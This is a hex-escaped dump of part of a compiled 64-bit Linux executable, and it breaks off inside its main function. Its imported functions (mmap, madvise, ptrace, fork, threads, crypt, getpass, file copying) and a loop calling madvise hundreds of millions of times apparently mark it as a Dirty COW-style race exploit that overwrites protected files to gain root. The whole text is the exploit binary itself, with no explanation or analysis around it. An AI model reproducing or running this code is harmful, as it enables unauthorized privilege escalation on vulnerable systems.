00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x52\xE5\x74\x64\x04\x00\x00\x00\xC0\x2D\x00\x00\x00\x00\x00\x00\xC0\x3D\x00\x00\x00\x00\x00\x00\xC0\x3D\x00\x00\x00\x00\x00\x00\x40\x02\x00\x00\x00\x00\x00\x00\x40\x02\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x2F\x6C\x69\x62\x36\x34\x2F\x6C\x64\x2D\x6C\x69\x6E\x75\x78\x2D\x78\x38\x36\x2D\x36\x34\x2E\x73\x6F\x2E\x32\x00\x00\x00\x00\x00\x04\x00\x00\x00\x10\x00\x00\x00\x05\x00\x00\x00\x47\x4E\x55\x00\x02\x80\x00\xC0\x04\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x14\x00\x00\x00\x03\x00\x00\x00\x47\x4E\x55\x00\x0A\x0C\x6C\x76\x05\x3D\xFD\x11\xA9\xA2\x51\x81\x80\xB9\xA3\x9B\x9A\x1C\x94\x86\x04\x00\x00\x00\x10\x00\x00\x00\x01\x00\x00\x00\x47\x4E\x55\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x1D\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x81\x00\x00\x00\x00\x00\x1D\x00\x00\x00\x00\x00\x00\x00\xD1\x65\xCE\x6D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xAB\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x95\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD9\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6B\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFD\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x52\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1D\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD4\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xA4\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7F\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x86\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xF5\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE6\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9C\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x61\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xEE\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCC\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5B\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2C\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x72\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x01\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x66\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xBD\x00\x00\x00\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5F\x49\x54\x4D\x5F\x64\x65\x72\x65\x67\x69\x73\x74\x65\x72\x54\x4D\x43\x6C\x6F\x6E\x65\x54\x61\x62\x6C\x65\x00\x5F\x5F\x67\x6D\x6F\x6E\x5F\x73\x74\x61\x72\x74\x5F\x5F\x00\x5F\x49\x54\x4D\x5F\x72\x65\x67\x69\x73\x74\x65\x72\x54\x4D\x43\x6C\x6F\x6E\x65\x54\x61\x62\x6C\x65\x00\x63\x72\x79\x70\x74\x00\x66\x67\x65\x74\x63\x00\x73\x6E\x70\x72\x69\x6E\x74\x66\x00\x65\x78\x69\x74\x00\x66\x6F\x70\x65\x6E\x00\x66\x6F\x72\x6B\x00\x73\x74\x72\x6C\x65\x6E\x00\x70\x74\x68\x72\x65\x61\x64\x5F\x6A\x6F\x69\x6E\x00\x70\x74\x72\x61\x63\x65\x00\x70\x74\x68\x72\x65\x61\x64\x5F\x63\x72\x65\x61\x74\x65\x00\x67\x65\x74\x70\x69\x64\x00\x67\x65\x74\x70\x61\x73\x73\x00\x6D\x61\x6C\x6C\x6F\x63\x00\x5F\x5F\x6C\x69\x62\x63\x5F\x73\x74\x61\x72\x74\x5F\x6D\x61\x69\x6E\x00\x5F\x5F\x63\x78\x61\x5F\x66\x69\x6E\x61\x6C\x69\x7A\x65\x00\x73\x70\x72\x69\x6E\x74\x66\x00\x6B\x69\x6C\x6C\x00\x66\x63\x6C\x6F\x73\x65\x00\x66\x70\x75\x74\x63\x00\x77\x61\x69\x74\x70\x69\x64\x00\x61\x63\x63\x65\x73\x73\x00\x6D\x61\x64\x76\x69\x73\x65\x00\x6D\x6D\x61\x70\x00\x66\x73\x74\x61\x74\x00\x6C\x69\x62\x63\x72\x79\x70\x74\x2E\x73\x6F\x2E\x31\x00\x6C\x69\x62\x63\x2E\x73\x6F\x2E\x36\x00\x58\x43\x52\x59\x50\x54\x5F\x32\x2E\x30\x00\x47\x4C\x49\x42\x43\x5F\x32\x2E\x33\x33\x00\x47\x4C\x49\x42\x43\x5F\x32\x2E\x32\x2E\x35\x00\x47\x4C\x49\x42\x43\x5F\x32\x2E\x33\x34\x00\x00\x00\x00\x02\x00\x01\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x01\x00\x03\x00\x03\x00\x03\x00\x02\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x01\x00\x02\x00\x04\x00\x05\x00\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x08\x01\x00\x00\x10\x00\x00\x00\x20\x00\x00\x00\x60\xED\x5D\x0E\x00\x00\x04\x00\x20\x01\x00\x00\x00\x00\x00\x00\x01\x00\x03\x00\x16\x01\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\xB3\x91\x96\x06\x00\x00\x05\x00\x2B\x01\x00\x00\x10\x00\x00\x00\x75\x1A\x69\x09\x00\x00\x03\x00\x36\x01\x00\x00\x10\x00\x00\x00\xB4\x91\x96\x06\x00\x00\x02\x00\x42\x01\x00\x00\x00\x00\x00\x00\xC0\x3D\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\xA0\x12\x00\x00\x00\x00\x00\x00\xC8\x3D\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x60\x12\x00\x00\x00\x00\x00\x00\xC8\x40\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\xC8\x40\x00\x00\x00\x00\x00\x00\xD0\x40\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x20\x00\x00\x00\x00\x00\x00\xD8\x40\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x14\x20\x00\x00\x00\x00\x00\x00\xE0\x40\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x24\x20\x00\x00\x00\x00\x00\x00\xC0\x3F\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xC8\x3F\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x3F\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD8\x3F\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x3F\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x1D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x38\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x0A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x0E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x0F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xA0\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xA8\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x1A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB0\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x1B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB8\x40\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x1C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x83\xEC\x08\x48\x8B\x05\xC5\x2F\x00\x00\x48\x85\xC0\x74\x02\xFF\xD0\x48\x83\xC4\x08\xC3\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\x35\xCA\x2F\x00\x00\xFF\x25\xCC\x2F\x00\x00\x0F\x1F\x40\x00\xFF\x25\xCA\x2F\x00\x00\x68\x00\x00\x00\x00\xE9\xE0\xFF\xFF\xFF\xFF\x25\xC2\x2F\x00\x00\x68\x01\x00\x00\x00\xE9\xD0\xFF\xFF\xFF\xFF\x25\xBA\x2F\x00\x00\x68\x02\x00\x00\x00\xE9\xC0\xFF\xFF\xFF\xFF\x25\xB2\x2F\x00\x00\x68\x03\x00\x00\x00\xE9\xB0\xFF\xFF\xFF\xFF\x25\xAA\x2F\x00\x00\x68\x04\x00\x00\x00\xE9\xA0\xFF\xFF\xFF\xFF\x25\xA2\x2F\x00\x00\x68\x05\x00\x00\x00\xE9\x90\xFF\xFF\xFF\xFF\x25\x9A\x2F\x00\x00\x68\x06\x00\x00\x00\xE9\x80\xFF\xFF\xFF\xFF\x25\x92\x2F\x00\x00\x68\x07\x00\x00\x00\xE9\x70\xFF\xFF\xFF\xFF\x25\x8A\x2F\x00\x00\x68\x08\x00\x00\x00\xE9\x60\xFF\xFF\xFF\xFF\x25\x82\x2F\x00\x00\x68\x09\x00\x00\x00\xE9\x50\xFF\xFF\xFF\xFF\x25\x7A\x2F\x00\x00\x68\x0A\x00\x00\x00\xE9\x40\xFF\xFF\xFF\xFF\x25\x72\x2F\x00\x00\x68\x0B\x00\x00\x00\xE9\x30\xFF\xFF\xFF\xFF\x25\x6A\x2F\x00\x00\x68\x0C\x00\x00\x00\xE9\x20\xFF\xFF\xFF\xFF\x25\x62\x2F\x00\x00\x68\x0D\x00\x00\x00\xE9\x10\xFF\xFF\xFF\xFF\x25\x5A\x2F\x00\x00\x68\x0E\x00\x00\x00\xE9\x00\xFF\xFF\xFF\xFF\x25\x52\x2F\x00\x00\x68\x0F\x00\x00\x00\xE9\xF0\xFE\xFF\xFF\xFF\x25\x4A\x2F\x00\x00\x68\x10\x00\x00\x00\xE9\xE0\xFE\xFF\xFF\xFF\x25\x42\x2F\x00\x00\x68\x11\x00\x00\x00\xE9\xD0\xFE\xFF\xFF\xFF\x25\x3A\x2F\x00\x00\x68\x12\x00\x00\x00\xE9\xC0\xFE\xFF\xFF\xFF\x25\x32\x2F\x00\x00\x68\x13\x00\x00\x00\xE9\xB0\xFE\xFF\xFF\xFF\x25\x2A\x2F\x00\x00\x68\x14\x00\x00\x00\xE9\xA0\xFE\xFF\xFF\xFF\x25\x22\x2F\x00\x00\x68\x15\x00\x00\x00\xE9\x90\xFE\xFF\xFF\xFF\x25\x1A\x2F\x00\x00\x68\x16\x00\x00\x00\xE9\x80\xFE\xFF\xFF\xFF\x25\x12\x2F\x00\x00\x68\x17\x00\x00\x00\xE9\x70\xFE\xFF\xFF\xFF\x25\x2A\x2E\x00\x00\x66\x90\x00\x00\x00\x00\x00\x00\x00\x00\x31\xED\x49\x89\xD1\x5E\x48\x89\xE2\x48\x83\xE4\xF0\x50\x54\x45\x31\xC0\x31\xC9\x48\x8D\x3D\x1B\x03\x00\x00\xFF\x15\xDF\x2D\x00\x00\xF4\x66\x2E\x0F\x1F\x84\x00\x00\x00\x00\x00\x0F\x1F\x40\x00\x48\x8D\x3D\xF1\x2E\x00\x00\x48\x8D\x05\xEA\x2E\x00\x00\x48\x39\xF8\x74\x15\x48\x8B\x05\xBE\x2D\x00\x00\x48\x85\xC0\x74\x09\xFF\xE0\x0F\x1F\x80\x00\x00\x00\x00\xC3\x0F\x1F\x80\x00\x00\x00\x00\x48\x8D\x3D\xC1\x2E\x00\x00\x48\x8D\x35\xBA\x2E\x00\x00\x48\x29\xFE\x48\x89\xF0\x48\xC1\xEE\x3F\x48\xC1\xF8\x03\x48\x01\xC6\x48\xD1\xFE\x74\x14\x48\x8B\x05\x8D\x2D\x00\x00\x48\x85\xC0\x74\x08\xFF\xE0\x66\x0F\x1F\x44\x00\x00\xC3\x0F\x1F\x80\x00\x00\x00\x00\xF3\x0F\x1E\xFA\x80\x3D\x95\x2E\x00\x00\x00\x75\x2B\x55\x48\x83\x3D\x6A\x2D\x00\x00\x00\x48\x89\xE5\x74\x0C\x48\x8B\x3D\x46\x2E\x00\x00\xE8\x29\xFF\xFF\xFF\xE8\x64\xFF\xFF\xFF\xC6\x05\x6D\x2E\x00\x00\x01\x5D\xC3\x0F\x1F\x00\xC3\x0F\x1F\x80\x00\x00\x00\x00\xF3\x0F\x1E\xFA\xE9\x77\xFF\xFF\xFF\x55\x48\x89\xE5\x48\x83\xEC\x10\x48\x89\x7D\xF8\x48\x8B\x15\x24\x2E\x00\x00\x48\x8B\x45\xF8\x48\x89\xD6\x48\x89\xC7\xE8\xB5\xFE\xFF\xFF\xC9\xC3\x55\x48\x89\xE5\x48\x83\xEC\x20\x48\x8D\x05\x51\x0D\x00\x00\x48\x89\x45\xF8\x4C\x8B\x45\x38\x48\x8B\x7D\x30\x48\x8B\x75\x28\x8B\x4D\x24\x44\x8B\x4D\x20\x4C\x8B\x55\x18\x48\x8B\x55\x10\x48\x8B\x45\xF8\x41\x50\x57\x56\x51\x4D\x89\xD0\x48\x89\xD1\x48\x89\xC2\xBE\x00\x00\x00\x00\xBF\x00\x00\x00\x00\xB8\x00\x00\x00\x00\xE8\x5F\xFD\xFF\xFF\x48\x83\xC4\x20\x89\x45\xF4\x8B\x45\xF4\x83\xC0\x01\x48\x98\x48\x89\xC7\xE8\x88\xFD\xFF\xFF\x48\x89\x45\xE8\x4C\x8B\x4D\x38\x4C\x8B\x45\x30\x48\x8B\x7D\x28\x44\x8B\x5D\x24\x44\x8B\x55\x20\x48\x8B\x4D\x18\x48\x8B\x55\x10\x48\x8B\x75\xF8\x48\x8B\x45\xE8\x48\x83\xEC\x08\x41\x51\x41\x50\x57\x45\x89\xD9\x45\x89\xD0\x48\x89\xC7\xB8\x00\x00\x00\x00\xE8\xD4\xFD\xFF\xFF\x48\x83\xC4\x20\x48\x8B\x45\xE8\xC9\xC3\x55\x48\x89\xE5\x48\x83\xEC\x20\x48\x89\x7D\xE8\xC7\x45\xF8\x00\x00\x00\x00\xC7\x45\xFC\x00\x00\x00\x00\xEB\x20\x48\x8B\x05\x7F\x2D\x00\x00\xBA\x04\x00\x00\x00\xBE\x64\x00\x00\x00\x48\x89\xC7\xE8\x35\xFD\xFF\xFF\x01\x45\xF8\x83\x45\xFC\x01\x81\x7D\xFC\xFF\xC1\xEB\x0B\x7E\xD7\x8B\x45\xF8\x89\xC6\x48\x8D\x05\x6C\x0C\x00\x00\x48\x89\xC7\xB8\x00\x00\x00\x00\xE8\x8C\xFC\xFF\xFF\x90\xC9\xC3\x55\x48\x89\xE5\x48\x83\xEC\x30\x48\x89\x7D\xD8\x48\x89\x75\xD0\x48\x8B\x45\xD0\xBE\x00\x00\x00\x00\x48\x89\xC7\xE8\x28\xFD\xFF\xFF\x83\xF8\xFF\x74\x25\x48\x8B\x45\xD0\x48\x89\xC6\x48\x8D\x05\x35\x0C\x00\x00\x48\x89\xC7\xB8\x00\x00\x00\x00\xE8\x48\xFC\xFF\xFF\xB8\xFF\xFF\xFF\xFF\xE9\xC2\x00\x00\x00\x48\x8B\x45\xD8\x48\x8D\x15\x4B\x0C\x00\x00\x48\x89\xD6\x48\x89\xC7\xE8\xF8\xFC\xFF\xFF\x48\x89\x45\xF8\x48\x83\x7D\xF8\x00\x75\x0A\xB8\xFF\xFF\xFF\xFF\xE9\x97\x00\x00\x00\x48\x8B\x45\xD0\x48\x8D\x15\x22\x0C\x00\x00\x48\x89\xD6\x48\x89\xC7\xE8\xCD\xFC\xFF\xFF\x48\x89\x45\xF0\x48\x83\x7D\xF0\x00\x75\x25\x48\x8B\x45\xF8\x48\x89\xC7\xE8\xB6\xFB\xFF\xFF\xB8\xFF\xFF\xFF\xFF\xEB\x63\x0F\xBE\x45\xEF\x48\x8B\x55\xF0\x48\x89\xD6\x89\xC7\xE8\xFD\xFB\xFF\xFF\x48\x8B\x45\xF8\x48\x89\xC7\xE8\xE1\xFB\xFF\xFF\x88\x45\xEF\x80\x7D\xEF\xFF\x75\xD9\x48\x8B\x55\xD0\x48\x8B\x45\xD8\x48\x89\xC6\x48\x8D\x05\xC6\x0B\x00\x00\x48\x89\xC7\xB8\x00\x00\x00\x00\xE8\x99\xFB\xFF\xFF\x48\x8B\x45\xF8\x48\x89\xC7\xE8\x5D\xFB\xFF\xFF\x48\x8B\x45\xF0\x48\x89\xC7\xE8\x51\xFB\xFF\xFF\xB8\x00\x00\x00\x00\xC9\xC3\x55\x48\x89\xE5\x53\x48\x83\xEC\x78\x89\x7D\x8C\x48\x89\x75\x80\x48\x8B\x15\xCB\x2B\x00\x00\x48\x8B\x05\xBC\x2B\x00\x00\x48\x89\xD6\x48\x89\xC7\xE8\xC8\xFE\xFF\xFF\x89\x45\xD4\x83\x7D\xD4\x00\x74\x0A\x8B\x45\xD4\x89\xC7\xE8\x2E\xFC\xFF\xFF\x48\x8D\x05\xEB\x0A\x00\x00\x48\x89\x45\x90\xC7\x45\xA0\